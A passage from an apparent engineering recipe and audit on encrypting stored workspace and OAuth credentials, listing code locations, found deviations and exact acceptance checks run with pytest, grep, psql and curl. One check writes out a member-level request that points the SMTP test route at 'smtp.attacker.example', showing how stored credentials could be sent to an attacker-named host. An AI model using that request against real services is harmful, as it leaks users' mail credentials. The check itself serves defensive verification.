• migrations/versions/20260610_0002_encrypt_ad_oauth_tokens.py: the backfill (revision encrypt_ad_oauth_tokens_001).
• api/routers/workspace_router.py: get_workspace_settings (564 onward), the SMTP four (GET 670, PUT 685, DELETE 705, test 723), the IMAP four (784, 799, 818, 832), the Payrexx four (890, 905, 925, 943), _assert_ws_access (996 to 999), the Quentn five (1002, 1014, 1027, webhook-url 1039, verify 1104); services/email_service.py send_via_smtp (1232 to 1371; the config reads 1298 to 1302, the login 1370); api/routers/calendar_router.py 390 to 400, 428 to 436 and the callback 866 to 897; the ad-platform routers as listed under API surface.
• core/config.py 627 to 652 (the EmDash key's validator, the model for the missing one); services/database_service.py 39 to 82 (the connection key's loader); services/emdash_service.py 35 to 49 (the EmDash cipher, lazy, 503 through ServiceConfigurationError when unset).
• Tests as listed under Tests.
• alchemycloud (main, b3d34da): scripts/distribute-env.sh 38 to 39 (gen_fernet), 56 to 67 (require), 69 to 85 (ensure), 126 to 127 and 142 to 144 (the per-app rules), 240 to 242 and 381 to 383 (the heredoc lines); env/.env.example 91 to 92, 165 to 166.

Deviations of the reference from this recipe, all dated 2026-09-12: three loaders with two fail directions; the key outside Settings with no validator; the settings GET returning ciphertext; the OAuth state without a TTL or nonce; per-call service construction in the feed providers; no rotation tooling; the keyless backfill leaving plaintext; the env example naming the wrong key for ad tokens; the Quentn PUT, the four DELETEs and the four test and verify routes without the admin gate; the test and verify routes sending the stored credential to a host the request names; the outreach Gmail reader addressing columns that do not exist.

Acceptance checks

Run from alchemy_labs/backend at fd8558f, or from a new service built to this recipe. Expected observations are exact.

1. python -m pytest tests/v2/test_f4_oauth_encryption.py -q --no-cov -o addopts="" prints 9 passed; python -m pytest "tests/v2/coverage/test_booking_g3_workspace_tenant_integration_endpoints_ical_caldav_connect_access_control.py" -k "encrypt" -q --no-cov -o addopts="" prints 4 passed (the two unit tests and the two connect-route tests named under Tests).
2. grep -rn "Fernet(" --include='*.py' . | grep -v tests/ | wc -l prints 9 at fd8558f (oauth_token_crypto.py 69, 78 and 95; calendar_integration_service.py 70; accounting_oauth_service.py 52; core/config.py 649 and emdash_service.py 43 for the EmDash key; database_service.py 41 and 57 for the connection key) and, on a build to this recipe, 3 (one constructor per key, in core/).
3. grep -rn "CALENDAR_ENCRYPTION_KEY" --include='*.py' . | grep -v "tests/\|migrations/" | grep -c "os.getenv\|os.environ" prints 3 at fd8558f and 0 on a build to this recipe (the key is a Settings field).
4. The loader's two refusals, from a development process because core/config.py refuses to construct Settings under staging or production without the platform's other keys (measured 2026-09-12: the JWT_SIGNING_KEY_SOURCE validator fires first): CALENDAR_ENCRYPTION_KEY= python -c " import os, tempfile from services.calendar_integration_service import CalendarIntegrationService as S from cryptography.fernet import Fernet os.chdir(tempfile.mkdtemp()); os.environ['ENVIRONMENT']='staging'; os.environ.pop('CALENDAR_ENCRYPTION_KEY', None) try: S._get_or_create_key(S.__new__(S)) except ValueError as e: print('A', str(e).split('.')[0]) os.environ['CALENDAR_ENCRYPTION_KEY']='not-a-key' try: Fernet(S._get_or_create_key(S.__new__(S))) except ValueError as e: print('B', e) " prints A CALENDAR_ENCRYPTION_KEY environment variable is required in production and B Fernet key must be 32 url-safe base64-encoded bytes. (the chdir keeps the dev key file out of reach, which is the file-fallback branch's own check).
5. CALENDAR_ENCRYPTION_KEY=$(python -c "import base64,os;print(base64.urlsafe_b64encode(os.urandom(32)).decode())") python -c " from services.calendar_integration_service import calendar_service as s a=s.encrypt_token('pw'); b=s.encrypt_token('pw') print(a.startswith('gAAAAA'), a!=b, s.decrypt_token(a)=='pw', s.decrypt_token(b)=='pw')" prints True True True True.
6. With the harness up (tooling/verify/labs-local.sh up, the owner session in $T, the workspace id in $W): curl -s -X PUT -H "Authorization: Bearer $T" -H "Content-Type: application/json" -d '{"host":"smtp.example.com","port":587,"username":"u","password":"app-pass-1","from_address":"[email protected]"}' http://127.0.0.1:8020/api/workspaces/$W/smtp | python -c "import json,sys; d=json.load(sys.stdin); print(d['has_password'], 'password' in d, 'password_encrypted' in d)" prints True False False; then curl -s -X PUT ... -d '{"host":"smtp2.example.com","port":587,"username":"u","from_address":"[email protected]"}' .../smtp | python -c "import json,sys; d=json.load(sys.stdin); print(d['host'], d['has_password'])" prints smtp2.example.com True (the stored password survived a save without one).
7. On the harness database (postgresql://test_user:test_password@localhost:5434/labs_render, the docker-compose.test.yml service with the harness's scratch database name): psql postgresql://test_user:test_password@localhost:5434/labs_render -Atc "SELECT settings::jsonb->'smtp'->>'password_encrypted' FROM workspace_settings WHERE workspace_id = '$W'" | cut -c1-6 prints gAAAAA; the same with -Atc "SELECT settings::jsonb->'smtp'->>'password' IS NULL FROM workspace_settings WHERE workspace_id = '$W'" prints t.
8. curl -s -H "Authorization: Bearer $T" http://127.0.0.1:8020/api/workspaces/$W/settings | python -c "import json,sys; d=json.load(sys.stdin); s=d.get('settings', d); print('password_encrypted' in json.dumps(s))" prints True at fd8558f (the exposure) and False on a build to this recipe.
9. In alchemycloud at b3d34da: grep -n "LABS_PROD_CALENDAR_ENCRYPTION_KEY" scripts/distribute-env.sh prints lines 127 and 242 (a require and the heredoc), and grep -c "ensure LABS_CALENDAR_ENCRYPTION_KEY fernet" scripts/distribute-env.sh prints 1: the production key is demanded, the staging key is minted once.
10. In alchemy_labs/backend at fd8558f: grep -c 'required_role="admin"' api/routers/workspace_router.py prints 3 (the SMTP, IMAP and Payrexx PUTs) and grep -n 'with_password=True\|with_secrets=True' api/routers/workspace_router.py prints four lines (745, 850, 965, 1119: the four test and verify routes that decrypt on member access). On a build to this recipe the first prints the number of routes that write, delete or decrypt a credential (twelve for the four blocks the reference carries: four PUTs, four DELETEs, four test or verify routes), and, with the harness up as in check 6 and a member session $M on the workspace: curl -s -o /dev/null -w '%{http_code}' -X POST -H "Authorization: Bearer $M" -H "Content-Type: application/json" -d '{"host":"smtp.attacker.example","port":587,"encryption":"none","username":"u"}' http://127.0.0.1:8020/api/workspaces/$W/smtp/test prints 403 (at fd8558f it prints 200 and the body reports the connection attempt to that host).